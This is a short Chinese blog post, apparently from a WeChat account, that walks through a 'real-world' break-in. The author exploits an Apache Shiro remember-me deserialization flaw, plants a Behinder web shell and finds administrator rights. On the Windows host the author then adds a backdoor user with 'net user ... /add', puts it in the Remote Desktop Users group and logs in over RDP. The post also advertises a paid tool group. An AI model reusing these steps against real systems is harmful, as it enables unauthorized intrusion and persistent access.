大家好，今天有个实战分享一下，首先打开目标网站，发现有记住密码选项，果断上手shiro工具跑一波，反序列化没跑了。
执行以下命令，看看是什么权限，哦豁，管理员权限。
注入冰蝎码
冰蝎连接。
发现是win系统，看一下3389端口。果然，端口开放的。
果断添加一波用户，net user yongboa Aa123456. /add。也可以添加隐藏用户，方法在前面持久论里。
将用户添加到远程组里。
net localgroup "Remote Desktop Users" yongboa /add
使用mstsc连接。
以后公众号中提及的所有工具，均放在APP“知识星球”，星球会员100元加入，内含大量工具，包含公众号之前发过的工具，均可免费下载。另可享受本人在线答疑福利，手把手教学。
小知识
声明
好文推荐
原文始发于微信公众号（丁永博的成长日记）：实战|从shiro反序列化到服务器权限
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论